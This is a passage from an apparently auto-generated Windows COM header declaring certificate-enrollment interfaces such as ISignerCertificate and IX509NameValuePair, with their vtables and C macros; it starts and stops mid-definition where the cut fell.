IX509SignatureInformation_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_PublicKeyAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKeyAlgorithm(This,ppValue) ) \n\n#define IX509SignatureInformation_put_PublicKeyAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_PublicKeyAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_Parameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Parameters(This,Encoding,pValue) ) \n\n#define IX509SignatureInformation_put_Parameters(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Parameters(This,Encoding,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithmSet(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithmSet(This,pValue) ) \n\n#define IX509SignatureInformation_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509SignatureInformation_put_NullSigned(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NullSigned(This,Value) ) \n\n#define IX509SignatureInformation_GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue)\t\\\n    ( (This)->lpVtbl -> GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue) ) \n\n#define IX509SignatureInformation_SetDefaultValues(This)\t\\\n    ( (This)->lpVtbl -> SetDefaultValues(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SignatureInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_INTERFACE_DEFINED__\n#define __ISignerCertificate_INTERFACE_DEFINED__\n\n/* interface ISignerCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33d-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificate : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        END_INTERFACE\n    } ISignerCertificateVtbl;\n\n    interface ISignerCertificate\n    {\n        CONST_VTBL struct ISignerCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificate_Initialize(This,MachineContext,VerifyType,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> Initialize(This,MachineContext,VerifyType,Encoding,strCertificate) ) \n\n#define ISignerCertificate_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define ISignerCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define ISignerCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define ISignerCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define ISignerCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define ISignerCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define ISignerCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define ISignerCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define ISignerCertificate_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define ISignerCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_INTERFACE_DEFINED__\n#define __ISignerCertificates_INTERFACE_DEFINED__\n\n/* interface ISignerCertificates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33e-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Find( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificates * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Find )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert);\n        \n        END_INTERFACE\n    } ISignerCertificatesVtbl;\n\n    interface ISignerCertificates\n    {\n        CONST_VTBL struct ISignerCertificatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISignerCertificates_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISignerCertificates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISignerCertificates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISignerCertificates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISignerCertificates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISignerCertificates_Find(This,pSignerCert,piSignerCert)\t\\\n    ( (This)->lpVtbl -> Find(This,pSignerCert,piSignerCert) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificates_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_INTERFACE_DEFINED__\n#define __IX509NameValuePair_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePair */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePair;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePair : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePair * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePair * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePair * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePair * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509NameValuePairVtbl;\n\n    interface IX509NameValuePair\n    {\n        CONST_VTBL struct IX509NameValuePairVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509NameValuePair_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePair_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePair_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePair_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePair_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePair_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePair_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePair_Initialize(This,strName,strValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strName,strValue) ) \n\n#define IX509NameValuePair_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IX509NameValuePair_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePair_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_INTERFACE_DEFINED__\n#define __IX509NameValuePairs_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePairs */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePairs;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab340-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePairs : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePairs * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        END_INTERFACE\n    } IX509NameValuePairsVtbl;\n\n    interface IX509NameValuePairs\n    {\n        CONST_VTBL struct IX509NameValuePairsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define 